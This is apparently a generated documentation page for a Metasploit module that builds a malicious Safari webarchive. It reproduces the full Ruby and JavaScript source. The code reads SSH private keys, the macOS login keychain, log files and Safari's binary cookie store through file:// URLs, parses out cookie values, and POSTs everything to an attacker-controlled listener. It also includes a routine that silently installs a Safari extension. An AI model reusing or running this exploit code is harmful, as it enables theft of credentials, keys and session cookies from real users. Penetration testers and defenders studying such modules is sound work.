Module: Msf::Exploit::Format::Webarchive
- Defined in:
- lib/msf/core/exploit/format/webarchive.rb
Instance Method Summary collapse
- #apple_extension_url ⇒ Object
-
#backend_url ⇒ String
Formatted http/https URL of the listener.
-
#collect_data_uri ⇒ String
The path to send data back to.
- #default_files ⇒ Object
-
#escape_xml(input) ⇒ String
Input with dangerous chars replaced with xml entities.
-
#iframes_container_html ⇒ String
Mark up for embedding the iframes for each URL in a place that is invisible to the user.
- #initialize(info = {}) ⇒ Object
-
#injected_js_helpers ⇒ String
Javascript code, wrapped in script tag, that adds a helper function called “sendData()” that passes the arguments up to the parent frame, where it is sent out to the listener.
- #install_extension ⇒ Object
-
#message ⇒ String
HTML content that is rendered in the <body> of the webarchive.
- #should_steal_files? ⇒ Boolean
- #steal_default_files ⇒ Object
-
#steal_files ⇒ String
Javascript code, wrapped in a script tag, that steals local files and sends them back to the listener.
-
#urls ⇒ Array<String>
Of URLs provided by the user.
-
#webarchive_download_url ⇒ String
URL that serves the malicious webarchive.
-
#webarchive_footer ⇒ String
The closing chunk of the webarchive XML code.
-
#webarchive_header ⇒ String
The first chunk of the webarchive file, containing the WebMainResource.
-
#webarchive_xml ⇒ String
Contents of webarchive as an XML document.
-
#wrap_with_doc(&blk) ⇒ Object
Wraps the result of the block in an HTML5 document and body.
-
#wrap_with_script(&blk) ⇒ Object
Wraps the result of the block with <script> tags.
Instance Method Details
#apple_extension_url ⇒ Object
100 101 102 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 100 def apple_extension_url 'https://extensions.apple.com' end |
#backend_url ⇒ String
Returns formatted http/https URL of the listener.
330 331 332 333 334 335 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 330 def backend_url proto = (datastore["SSL"] ? "https" : "http") myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}" "#{proto}://#{myhost}#{port_str}" end |
#collect_data_uri ⇒ String
Returns the path to send data back to.
325 326 327 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 325 def collect_data_uri '/' + (datastore["URIPATH"] || '').chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"] end |
#default_files ⇒ Object
156 157 158 159 160 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 156 def default_files ('file:///Users/$USER/.ssh/id_rsa file:///Users/$USER/.ssh/id_rsa.pub '+ 'file:///Users/$USER/Library/Keychains/login.keychain ' + (datastore['FILE_URLS'].split(/\s+/)).select { |s| s.include?('$USER') }.join(' ')).strip end |
#escape_xml(input) ⇒ String
Returns input with dangerous chars replaced with xml entities.
354 355 356 357 358 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 354 def escape_xml(input) input.to_s.gsub("&", "&").gsub("<", "<") .gsub(">", ">").gsub("'", "'") .gsub("\"", """) end |
#iframes_container_html ⇒ String
Returns mark up for embedding the iframes for each URL in a place that is invisible to the user.
94 95 96 97 98 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 94 def iframes_container_html wrap_with_doc do injected_js_helpers + steal_files + install_extension + end end |
#initialize(info = {}) ⇒ Object
11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 11 def initialize(info={}) super ([ OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']), OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']), OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']), OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']), OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]), OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]), OptBool.new('INSTALL_EXTENSION', [true, "Silently install a Safari extensions (requires click)", false]), OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install", "https://data.getadblock.com/safari/AdBlock.safariextz"]), OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install", "com.betafish.adblockforsafari-UAMUU4S2D9"]) ], self.class) end |
#injected_js_helpers ⇒ String
Returns javascript code, wrapped in script tag, that adds a helper function called “sendData()” that passes the arguments up to the parent frame, where it is sent out to the listener.
306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 306 def injected_js_helpers wrap_with_script do %Q| window.sendData = function(key, val) { var data = {}; data[key] = val; var x = new XMLHttpRequest; x.open('POST', '#{backend_url}#{collect_data_uri}', true); x.setRequestHeader('Content-type', 'text/plain') x.send(JSON.stringify(data)); }; | end end |
#install_extension ⇒ Object
104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 104 def install_extension return '' unless datastore['INSTALL_EXTENSION'] raise "EXTENSION_URL datastore option missing" unless datastore['EXTENSION_URL'].present? raise "EXTENSION_ID datastore option missing" unless datastore['EXTENSION_ID'].present? wrap_with_script do %Q| var qq = null; var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}'); var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}'); function go(){ window.focus(); qq.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', '_self'); } window.addEventListener('message', function(e) { if (!qq && e.data === 'EXT') { qq = e.source; setInterval(go, 600); } }); | end end |
#message ⇒ String
Returns HTML content that is rendered in the <body> of the webarchive.
343 344 345 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 343 def "<p>You are being redirected.</p>" end |
#should_steal_files? ⇒ Boolean
360 361 362 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 360 def should_steal_files? datastore['STEAL_FILES'] end |
#steal_default_files ⇒ Object
162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 162 def steal_default_files %Q| try { function xhr(url, cb, responseType) { var x = new XMLHttpRequest; x.onload = function() { cb(x) } x.open('GET', url); if (responseType) x.responseType = responseType; x.send(); } var files = ['/var/log/monthly.out', '/var/log/appstore.log', '/var/log/install.log']; var done = 0; var _u = {}; var cookies = []; files.forEach(function(f) { xhr(f, function(x) { var m; var users = []; var pattern = /\\/Users\\/([^\\s^\\/^"]+)/g; while ((m = pattern.exec(x.responseText)) !== null) { if(!_u[m[1]]) { users.push(m[1]); } _u[m[1]] = 1; } if (users.length) { next(users); } }); }); var id=0; function next(users) { // now lets steal all the data we can! sendData('usernames'+id, users); id++; users.forEach(function(user) { if (#{datastore['STEAL_COOKIES']}) { xhr('file:///Users/'+encodeURIComponent(user)+'/Library/Cookies/Cookies.binarycookies', function(x) { parseBinaryFile(x.response); }, 'arraybuffer'); } if (#{datastore['STEAL_FILES']}) { var files = '#{Rex::Text.encode_base64(default_files)}'; atob(files).split(/\\s+/).forEach(function(file) { file = file.replace('$USER', encodeURIComponent(user)); xhr(file, function(x) { sendData(file.replace('file://', ''), x.responseText); }); }); } }); } function parseBinaryFile(buffer) { var data = new DataView(buffer); // check for MAGIC 'cook' in big endian if (data.getUint32(0, false) != 1668247403) throw new Error('Invalid magic at top of cookie file.') // big endian length in next 4 bytes var numPages = data.getUint32(4, false); var pageSizes = [], cursor = 8; for (var i = 0; i < numPages; i++) { pageSizes.push(data.getUint32(cursor, false)); cursor += 4; } pageSizes.forEach(function(size) { parsePage(buffer.slice(cursor, cursor + size)); cursor += size; }); reportStolenCookies(); } function parsePage(buffer) { var data = new DataView(buffer); if (data.getUint32(0, false) != 256) { return; // invalid magic in page header } var numCookies = data.getUint32(4, true); var offsets = []; for (var i = 0; i < numCookies; i++) { offsets.push(data.getUint32(8+i*4, true)); } offsets.forEach(function(offset, idx) { var next = offsets[idx+1] \|\| buffer.byteLength - 4; try{parseCookie(buffer.slice(offset, next));}catch(e){}; }); } function read(data, offset) { var str = '', c = null; try { while ((c = data.getUint8(offset++)) != 0) { str += String.fromCharCode(c); } } catch(e) {}; return str; } function parseCookie(buffer) { var data = new DataView(buffer); var size = data.getUint32(0, true); var flags = data.getUint32(8, true); var urlOffset = data.getUint32(16, true); var nameOffset = data.getUint32(20, true); var pathOffset = data.getUint32(24, true); var valueOffset = data.getUint32(28, true); var result = { value: read(data, valueOffset), path: read(data, pathOffset), url: read(data, urlOffset), name: read(data, nameOffset), isSecure: flags & 1, httpOnly: flags & 4 }; cookies.push(result); } function reportStolenCookies() { if (cookies.length > 0) { sendData('cookieDump', cookies); } } } catch (e) { console.log('ERROR: '+e.message); } | end |
#steal_files ⇒ String
Returns javascript code, wrapped in a script tag, that steals local files and sends them back to the listener. This code is executed in the WebMainResource (parent) frame, which runs in the file:// protocol.
131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 131 def steal_files return '' unless should_steal_files? urls_str = (datastore['FILE_URLS'].split(/\s+/)).reject { |s| !s.include?('$USER') }.join(' ') wrap_with_script do %Q| var filesStr = "#{urls_str}"; var files = filesStr.trim().split(/\s+/); function stealFile(url) { var req = new XMLHttpRequest(); var sent = false; req.open('GET', url, true); req.onreadystatechange = function() { if (!sent && req.responseText && req.responseText.length > 0) { sendData(url, req.responseText); sent = true; } }; req.send(null); }; files.forEach(stealFile); | + steal_default_files end end |
#urls ⇒ Array<String>
Returns of URLs provided by the user.
348 349 350 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 348 def urls (datastore['URLS'] || '').split(/\s+/) end |
#webarchive_download_url ⇒ String
Returns URL that serves the malicious webarchive.
338 339 340 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 338 def datastore["DOWNLOAD_PATH"] end |
#webarchive_footer ⇒ String
Returns the closing chunk of the webarchive XML code.
65 66 67 68 69 70 71 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 65 def %Q| </array> </dict> </plist> | end |
#webarchive_header ⇒ String
Returns the first chunk of the webarchive file, containing the WebMainResource.
38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 38 def %Q| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>WebMainResource</key> <dict> <key>WebResourceData</key> <data> #{Rex::Text.encode_base64(iframes_container_html)}</data> <key>WebResourceFrameName</key> <string></string> <key>WebResourceMIMEType</key> <string>text/html</string> <key>WebResourceTextEncodingName</key> <string>UTF-8</string> <key>WebResourceURL</key> <string>file:///</string> </dict> <key>WebSubframeArchives</key> <array> | end |
#webarchive_xml ⇒ String
Returns contents of webarchive as an XML document.
30 31 32 33 34 35 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 30 def return @xml if not @xml.nil? # only compute xml once @xml = @xml << @xml end |
#wrap_with_doc(&blk) ⇒ Object
Wraps the result of the block in an HTML5 document and body
76 77 78 79 80 81 82 83 84 85 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 76 def wrap_with_doc(&blk) %Q| <!doctype html> <html> <body> #{yield} </body> </html> | end |
#wrap_with_script(&blk) ⇒ Object
Wraps the result of the block with <script> tags
88 89 90 |
# File 'lib/msf/core/exploit/format/webarchive.rb', line 88 def wrap_with_script(&blk) "<script>#{yield}</script>" end |